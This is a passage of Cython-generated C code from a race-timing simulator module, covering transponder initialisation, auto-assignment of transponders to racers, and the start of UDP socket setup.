__Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":67 * self.transponder[self.tp_base+i] = [] * self.transponder[self.tp_base+i].append( # init time start * int( time()*factor ) # <<<<<<<<<<<<<< * ) * self.transponder[self.tp_base+i].append( 0 ) # lapnumber */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_factor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyNumber_Multiply(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "simulator.py":66 * while len( self.transponder ) < self.howmany: * self.transponder[self.tp_base+i] = [] * self.transponder[self.tp_base+i].append( # init time start # <<<<<<<<<<<<<< * int( time()*factor ) * ) */ __pyx_t_7 = __Pyx_PyObject_Append(__pyx_t_6, __pyx_t_1); if (unlikely(__pyx_t_7 == -1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":69 * int( time()*factor ) * ) * self.transponder[self.tp_base+i].append( 0 ) # lapnumber # <<<<<<<<<<<<<< * self.transponder[self.tp_base+i].append( {} ) # partial crossing time * self.transponder[self.tp_base+i].append( 0 ) # lastline crossing */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = PyNumber_Add(__pyx_t_6, __pyx_v_i); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Append(__pyx_t_6, __pyx_int_0); if (unlikely(__pyx_t_7 == -1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "simulator.py":70 * ) * self.transponder[self.tp_base+i].append( 0 ) # lapnumber * self.transponder[self.tp_base+i].append( {} ) # partial crossing time # <<<<<<<<<<<<<< * self.transponder[self.tp_base+i].append( 0 ) # lastline crossing * i += 1 */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyNumber_Add(__pyx_t_3, __pyx_v_i); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Append(__pyx_t_3, __pyx_t_1); if (unlikely(__pyx_t_7 == -1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":71 * self.transponder[self.tp_base+i].append( 0 ) # lapnumber * self.transponder[self.tp_base+i].append( {} ) # partial crossing time * self.transponder[self.tp_base+i].append( 0 ) # lastline crossing # <<<<<<<<<<<<<< * i += 1 * type = decoder['type'] */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = PyNumber_Add(__pyx_t_3, __pyx_v_i); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Append(__pyx_t_3, __pyx_int_0); if (unlikely(__pyx_t_7 == -1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "simulator.py":72 * self.transponder[self.tp_base+i].append( {} ) # partial crossing time * self.transponder[self.tp_base+i].append( 0 ) # lastline crossing * i += 1 # <<<<<<<<<<<<<< * type = decoder['type'] * delay = decoder['delay']*factor */ __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_v_i, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF_SET(__pyx_v_i, __pyx_t_3); __pyx_t_3 = 0; } /* "simulator.py":73 * self.transponder[self.tp_base+i].append( 0 ) # lastline crossing * i += 1 * type = decoder['type'] # <<<<<<<<<<<<<< * delay = decoder['delay']*factor * if decoder['type'] == 0 and decoder['auto_assign']: */ __pyx_t_3 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_type); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_v_type = __pyx_t_3; __pyx_t_3 = 0; /* "simulator.py":74 * i += 1 * type = decoder['type'] * delay = decoder['delay']*factor # <<<<<<<<<<<<<< * if decoder['type'] == 0 and decoder['auto_assign']: * print( "Auto assign Transponder activated") */ __pyx_t_3 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_delay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_factor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = PyNumber_Multiply(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_delay = __pyx_t_1; __pyx_t_1 = 0; /* "simulator.py":75 * type = decoder['type'] * delay = decoder['delay']*factor * if decoder['type'] == 0 and decoder['auto_assign']: # <<<<<<<<<<<<<< * print( "Auto assign Transponder activated") * i = 0 */ __pyx_t_1 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_type); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyInt_EqObjC(__pyx_t_1, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_8) { } else { __pyx_t_4 = __pyx_t_8; goto __pyx_L7_bool_binop_done; } __pyx_t_6 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_auto_assign); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __pyx_t_8; __pyx_L7_bool_binop_done:; if (__pyx_t_4) { /* "simulator.py":76 * delay = decoder['delay']*factor * if decoder['type'] == 0 and decoder['auto_assign']: * print( "Auto assign Transponder activated") # <<<<<<<<<<<<<< * i = 0 * rl = Globals.MainWindow.L_racerlist */ __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "simulator.py":77 * if decoder['type'] == 0 and decoder['auto_assign']: * print( "Auto assign Transponder activated") * i = 0 # <<<<<<<<<<<<<< * rl = Globals.MainWindow.L_racerlist * for c in range( 0, rl.count()): */ __Pyx_INCREF(__pyx_int_0); __Pyx_DECREF_SET(__pyx_v_i, __pyx_int_0); /* "simulator.py":78 * print( "Auto assign Transponder activated") * i = 0 * rl = Globals.MainWindow.L_racerlist # <<<<<<<<<<<<<< * for c in range( 0, rl.count()): * t = rl.item(c).data(Globals.UserRole) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_rl = __pyx_t_6; __pyx_t_6 = 0; /* "simulator.py":79 * i = 0 * rl = Globals.MainWindow.L_racerlist * for c in range( 0, rl.count()): # <<<<<<<<<<<<<< * t = rl.item(c).data(Globals.UserRole) * Globals.racerList[t]['transponder'] = self.tp_base+i */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_rl, __pyx_n_s_count); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_6)) || PyTuple_CheckExact(__pyx_t_6)) { __pyx_t_1 = __pyx_t_6; __Pyx_INCREF(__pyx_t_1); __pyx_t_5 = 0; __pyx_t_9 = NULL; } else { __pyx_t_5 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; for (;;) { if (likely(!__pyx_t_9)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_5 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_5); __Pyx_INCREF(__pyx_t_6); __pyx_t_5++; if (unlikely(0 < 0)) __PYX_ERR(0, 79, __pyx_L1_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_1, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif } else { if (__pyx_t_5 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_6 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_5); __Pyx_INCREF(__pyx_t_6); __pyx_t_5++; if (unlikely(0 < 0)) __PYX_ERR(0, 79, __pyx_L1_error) #else __pyx_t_6 = PySequence_ITEM(__pyx_t_1, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif } } else { __pyx_t_6 = __pyx_t_9(__pyx_t_1); if (unlikely(!__pyx_t_6)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 79, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_6); } __Pyx_XDECREF_SET(__pyx_v_c, __pyx_t_6); __pyx_t_6 = 0; /* "simulator.py":80 * rl = Globals.MainWindow.L_racerlist * for c in range( 0, rl.count()): * t = rl.item(c).data(Globals.UserRole) # <<<<<<<<<<<<<< * Globals.racerList[t]['transponder'] = self.tp_base+i * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_rl, __pyx_n_s_item); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_10) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_v_c); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_v_c}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_v_c}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_10); __pyx_t_10 = NULL; __Pyx_INCREF(__pyx_v_c); __Pyx_GIVEREF(__pyx_v_c); PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_c); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_11, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_11}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_11}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } else #endif { __pyx_t_10 = PyTuple_New(1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_10, 0+1, __pyx_t_11); __pyx_t_11 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_10, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_t, __pyx_t_6); __pyx_t_6 = 0; /* "simulator.py":81 * for c in range( 0, rl.count()): * t = rl.item(c).data(Globals.UserRole) * Globals.racerList[t]['transponder'] = self.tp_base+i # <<<<<<<<<<<<<< * * Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%( self.tp_base+i ) ] = t */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = PyNumber_Add(__pyx_t_6, __pyx_v_i); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_racerList); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_t_10, __pyx_v_t); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (unlikely(PyObject_SetItem(__pyx_t_6, __pyx_n_u_transponder, __pyx_t_2) < 0)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":83 * Globals.racerList[t]['transponder'] = self.tp_base+i * * Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%( self.tp_base+i ) ] = t # <<<<<<<<<<<<<< * i += 1 * # if i > self.howmany: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_tp_base); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_11 = PyNumber_Add(__pyx_t_2, __pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Remainder(__pyx_t_10, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; if (unlikely(PyObject_SetItem(__pyx_t_6, __pyx_t_2, __pyx_v_t) < 0)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":84 * * Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%( self.tp_base+i ) ] = t * i += 1 # <<<<<<<<<<<<<< * # if i > self.howmany: * # break */ __pyx_t_2 = __Pyx_PyInt_AddObjC(__pyx_v_i, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF_SET(__pyx_v_i, __pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":79 * i = 0 * rl = Globals.MainWindow.L_racerlist * for c in range( 0, rl.count()): # <<<<<<<<<<<<<< * t = rl.item(c).data(Globals.UserRole) * Globals.racerList[t]['transponder'] = self.tp_base+i */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":75 * type = decoder['type'] * delay = decoder['delay']*factor * if decoder['type'] == 0 and decoder['auto_assign']: # <<<<<<<<<<<<<< * print( "Auto assign Transponder activated") * i = 0 */ } /* "simulator.py":87 * # if i > self.howmany: * # break * try: # init the socket # <<<<<<<<<<<<<< * self.mgroup[ type ] = (d['multi_ip'],d['port']) * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); /*try:*/ { /* "simulator.py":88 * 